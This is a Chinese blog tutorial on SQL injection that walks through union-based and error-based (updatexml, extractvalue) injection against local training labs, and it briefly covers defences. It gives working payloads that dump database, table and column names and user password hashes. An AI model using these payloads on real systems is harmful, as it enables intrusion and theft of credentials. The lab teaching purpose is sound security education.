SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

这篇具有很好参考价值的文章主要介绍了SQL注入进阶:掌握联合查询注入和报错注入攻击技巧。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

数据来源

        本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

一、联合查询注入

介绍

        联合查询注入是SQL注入的一种,通过在原有的SQL语句中添加UNION(联合)操作,将恶意构造的SQL语句与应用程序的SQL语句进行联合,从而对数据库进行非法操作。攻击者可以通过这种方式获取敏感数据,或者修改、删除、插入数据。

一个典型的联合查询注入攻击示例是:假设一个Web应用程序正在执行以下 SELECT 语句以获取用户ID和密码:

SELECT user_id, password FROM users WHERE username = 'admin'

攻击者可以通过构造类似如下代码注入进行攻击:

' UNION SELECT cc_number, expiry_date FROM credit_cards --

这条注入语句可能成为以下 SQL 语句:

SELECT user_id, password FROM users WHERE username = 'admin' UNION SELECT cc_number, expiry_date FROM credit_cards --'

        这个SQL语句将返回我们的目标信息: 用户名为 'admin' 的用户ID和密码,再加上从另外一张表读取到的信用卡号和过期日期。

        要防止联合查询注入攻击,可以采取安全编码实践,例如使用参数化查询、限制用户输入等等。

原理

联合查询注入的原理是攻击者构造出类似以下这些SQL语句来进行攻击:

SELECT user_id, password FROM users WHERE username = 'admin' UNION SELECT cc_number, expiry_date FROM credit_cards --

        其中,第二个 SELECT 子句用于获取攻击者想要的数据(例如信用卡号和过期日期),注释符号 -- 是用来取消掉输入的结尾字符以避免SQL语法错误。

        攻击者可以在第一个SELECT子句中设置一个假的或无意义的条件表达式来保证语法的正确性,从而让这个恶意注入的 SQL 查询能够成功地执行。最终,返回的结果将会包括从第二个 SELECT 子句选取出来的数据与第一个 SELECT 子句的结果。

        通过联合查询注入,攻击者可以通过应用程序读取到数据库中本应该被隐藏的敏感信息,如用户登录凭证、电子邮件地址、信用卡号等。

        为了防止攻击者利用联合查询注入漏洞对应用程序进行攻击,在开发Web应用程序时,应使用参数化查询并验证所有用户输入,严格限制特定的字符和格式。另外,要确保具有最小访问权限的数据库账户,以限制攻击者能够获取和修改的信息内容。

sql注入简单演示

1.手动判断SQL注入漏洞

手动判断SQL注入漏洞的方法包括以下几个步骤:

  1. 在应用程序的输入字段中输入单引号 ',并观察是否出现错误消息或异常结果。如果出现错误您可能已发现了 SQL 注入漏洞。

  2. 尝试使用 SQL 特定关键字 如 SELECT, INSERT, UPDATE, DELETE, ORAND等来进行测试,并观察是否返回预期之外的结果。 如果返回了敏感信息,则该应用程序可能存在 SQL 注入漏洞。

  3. 尝试添加控制字符如 \% 等进行测试,这些字符可以模糊或绕过输入验证,它们可能会导致SQL注入漏洞。

  4. 查询URL参数,并在其中添加类似于 ',Or,'a'='a 的代码,并查看是否返回非预期的查询结果,在响应正文中以及浏览器地址栏中都可能看到异常信息。

        请注意,尽管手动检查是一种有效的方法来检测 SQL 注入漏洞,但这往往需要较高的技术水平和知识储备。因此,在实际工作中,更推荐开发人员采用自动化方式来扫描和检测 SQL 注入漏洞,以确保应用程序的安全性。

以下是一个简单的例子来说明 SQL 注入攻击的原理:

        假设有一个登录表单,用户需要输入用户名和密码才能成功登录网站。应用程序使用从前端页面获取的值来编写 SQL 查询,在没有正确验证或转义用户输入时,可能会容易受到 SQL 注入攻击。

        例如,如果一个用户在用户名字段中输入以下注释符合数据组合:' OR 1 = 1 --(注意,这里的两条短划线是为了取消剩余语句)。该字符串将被传递给后端并拼接到SQL查询字符串中。原始SQL查询可能类似于:

SELECT * FROM users WHERE username='(user input value)' AND password='(user input value)';

        而由于注入了 ' OR 1 = 1 -- 字符串,查询实际上会被解释为以下内容:

SELECT * FROM users WHERE username='' OR 1 = 1 --' AND password='(user input value)';

        在这种情况下,OR 1 = 1 条件始终为真,因此查询将匹配到第一个满足条件的用户记录,并忽略设置的密码条件。因此,该攻击者可以跳过密码检验轻松地以任何账户名登录系统。

        这就是 SQL 注入攻击的一个简单例子,它展示了攻击者如何利用未经处理的用户输入来修改应用程序的数据库查询方式,来获取受限制的数据,包括窃取敏感信息,如密码、用户身份验证令牌等。

使用靶场实战演示一下

靶场搭建:(13条消息) sqli-labs 靶场环境搭建_sqlilabs靶场_Myu_ww的博客-CSDN博客

下载并安装Phpstudy(安装过程可以一路下一步,也可以改安装路径):http://public.xp.cn/upgrades/PhpStudy2018.zip 

下载好的靶场文件直接拉到www文件夹下就可以访问了:http://127.0.0.1:80/sqlilabs/Less-2/?id=1

检测方式:使用单引号或双引号,有异常报错就是存在sql注入漏洞

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

或者使用:' OR 1 = 1 --

2. 闭合然后爆列

order by 3  正确

http://127.0.0.1:80/sqlilabs/Less-2/?id=1 order by 3

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

order by 4  错误

http://127.0.0.1:80/sqlilabs/Less-2/?id=1 order by 4

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

说明只有3列

3. 查看显示列

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

4. 查看库,查看表

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

查看 concat、concat_ws、group_concat区别

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

 操作演示看这篇拉到最后一段:MySQL基础

二、报错注入 

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

updatexml 示例:(下面用DVWA靶场进行演示)

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

1. 爆出数据库及相关信息(下面演示的代码来源)

1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

2.  爆当前数据库表信息(就是这个数据库有多少张表,都列出来)

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

3. 爆users表字段信息 

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

4. 爆dvwa数据库的users表的字段内容 (first_name、last_name )

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

5. 爆出users表的第一条数据的user和password('limit ?,?'    # ? 开始查询的索引 , ? 要查多少条数据)

1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

md5在线解密破解,md5解密加密

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

extractvalue() 报错注入实战

        extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错,而本人的示例中皆为利用0x7e(~),其不属于xpath语法格式,因此报出xpath语法错误。

1. 查看当前数据库的相关信息 

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

2. 查数据库的表

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

3. 爆users表字段信息 

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

4. 爆dvwa数据库的users表的字段内容 (user_id、first_name、last_name )

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

如果要查看DVWA靶场的数据库,在浏览器中输入:http://127.0.0.1/phpmyadmin/index.php

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

三、宽字节注入

宽字节注入原理

SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

小葵转换工具 

太晚了,洗澡睡觉,实际操作演示有时间在补上文章来源地址https://www.toymoban.com/news/detail-458545.html

到了这里,关于SQL注入进阶:掌握联合查询注入和报错注入攻击技巧的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sql注入中的union联合查询,union select 1,2,3

    (此文章是记录本人对知识理解的随手笔记,内容不肯定百分百正确,如有错误望指出并谅解) union联合查询是为了判断SQL语句中哪个地方可以被代替,代替的地方是可以在网页上显示出来的 { 例:若 select 1,2,3; 中的2这个地方可以被代替,我们就可以通过一些SQL语句或数据库函

    2024年02月08日
    浏览(54)
  • BUUCTF-sql注入联合查询的创建虚拟表-词频-steghide的使用

    第七周第三次 目录 WEB [GXYCTF2019]BabySQli [GXYCTF2019]BabyUpload Crypto 世上无难事 old-fashion ​Misc 面具下的flag 九连环 这是一道很新的题目 我们打开环境 发现登入注册界面 先看看源码有没有提示 发现有一个 php文件 进入看看 发现加密 先base32 再64  发现就是很简单的字符型注入 开始

    2023年04月13日
    浏览(47)
  • 安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

    目录 一、sql注入原理  二、联合SQL注入的方法 1.总体的思路 (1)先进行闭合,进行报错 (2)进行逃逸 (3)外带数据 (4)获取库名 表名 列名 数据 (5)获取当前数据库中的数据 2.SQL注入测试 (1)先进行单双引号闭合,让页面出现页面报错 (2)然后看有几列,有两种方

    2024年02月13日
    浏览(33)
  • MyBatis进阶:掌握MyBatis动态SQL与模糊查询、结果映射,让你在面试中脱颖而出!!

    目录 一、引言 二、MyBatis动态SQL 2.1.if元素使用 2.2.foreach元素使用 三、MyBatis模糊查询 ①使用#{字段名} ②使用${字段名} ③使用concat{\\\'%\\\',#{字段名},\\\'%\\\'} 总结 四、MyBatis结果映射 4.1.案例演示 4.1.1.resultType进行结果映射 4.1.2.resultMap进行结果映射 在当今的软件开发环境中,数据库的使

    2024年02月11日
    浏览(45)
  • SQL注入之union 联合注入

    目录 一、union查询的特性 1.1、特性-1 1.2、特性-2 1.3、特性-3 二、union联合注入 2.1、让sqlib的Less-1页面显示出来2和3 2.2、MySQL中的一些函数 2.3、MySQL中的函数和union的联合使用方法 2.4、group_concat()函数 2.5、使用union和group_concat函数进行sql注入 2.6、分析注入过程 2.7、使用union获取

    2024年02月08日
    浏览(88)
  • 【MySQL】一文带你掌握聚合查询和联合查询

    概念: 聚合函数是一种用于处理数据集合的函数,它将多个数据行作为输入,执行特定的计算,然后返回单个结果。聚合函数通常用于统计和汇总数据,例如计算平均值、总和、最大值、最小值等。 常见的聚合函数包括: COUNT - 统计数据行数 SUM - 计算数据总和 AVG - 计算数据

    2024年02月08日
    浏览(40)
  • 什么是SQL注入攻击,解释如何防范SQL注入攻击?

    SQL注入攻击是一种常见的网络攻击方式,攻击者通过在Web应用程序的查询语句中插入恶意代码,从而获取数据库中的敏感信息或者执行其他恶意操作。 为了防范SQL注入攻击,可以采取以下措施: 使用参数化查询:使用参数化查询可以避免攻击者通过查询语句中的参数注入恶

    2024年02月10日
    浏览(46)
  • 【MySQL】进阶查询-聚合查询和联合查询

    文章主要围绕着以下三个问题: group by的作用 where与having的区别 表的连接分为哪些,分别是什么作用 在创建数据表时,我们通常时根据需求找到\\\"实体\\\", 梳理\\\"实体\\\"之间的关系,从而进行创建. \\\"实体\\\"之间可能会有以下几种关系:1.没关系 2.一对一 3.一对多 4.多对多. 没关系应该是最好

    2023年04月11日
    浏览(68)
  • 理解什么是sql注入攻击 + xss攻击 + cors 攻击

    SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的SQL命令 。 SQL注入攻击的总体思路: 寻找到SQL注入的位置 判断服务器类型和后台数据库类型 针对不同的服务器和数据库特点进行SQL注入攻击 SQL注入攻击实例: 比如

    2023年04月18日
    浏览(72)
  • SQL 注入漏洞攻击

    假设你用自己的用户名和密码登录了一个付费网站,网站服务器就会查询一下你是不是 VIP 用户,而用户数据都是放在数据库中的,服务器通常都会向数据库进行查询,要向数据库进行增删改查操作,就需要用到 SQL 语言。 但是,作为 SQL 的注入攻击者,我们并不知道网站的密

    2024年02月09日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包